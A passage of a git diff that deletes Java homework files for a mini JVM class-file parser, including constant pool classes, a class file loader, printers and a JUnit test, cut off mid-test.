@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 7ae71396ef..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 036e6d9055..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
-	
-	
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 5cbbba6033..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 41e0fd7e7a..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
deleted file mode 100644
index 6bfcb47273..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java b/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
deleted file mode 100644
index 7db88a939e..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/field/Field.java b/group24/Homework/7-SevenWeek/jvm/field/Field.java
deleted file mode 100644
index c6eb0196f8..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public String toString() {
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		return name +":"+ desc;
-	}
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descIndex = iter.nextU2ToInt();
-		int attribCount = iter.nextU2ToInt();
-		//System.out.println("field attribute count:"+ attribCount);
-		
-		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
-		
-		if(attribCount > 0){
-			throw new RuntimeException("Field Attribute has not been implemented");
-		}
-		
-		return f;
-	}
-
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 6fb5570dff..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	byte[] codes;
-	int pos = 0;
-
-	ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 33185d8175..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java b/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
deleted file mode 100644
index a29d9572cd..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-	public ClassFile parse(byte[] codes) {
-
-		
-		
-		
-		return null;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-		return null;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		return null;
-	}
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-
-	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
-		
-
-	}
-
-	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
-
-		
-
-	}
-	
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/method/Method.java b/group24/Homework/7-SevenWeek/jvm/method/Method.java
deleted file mode 100644
index b86c57ef90..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/method/Method.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-	
-	
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public String toString() {
-		
-		ConstantPool pool = this.clzFile.getConstantPool();
-		StringBuilder buffer = new StringBuilder();
-		
-		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
-		
-		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
-		
-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
-	}
-
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java b/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 14407bacbe..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java b/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 028161adc7..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		
-		
-		
-	}
-}
diff --git a/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 5657310e0d..0000000000
--- a/group24/Homework/7-SevenWeek/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
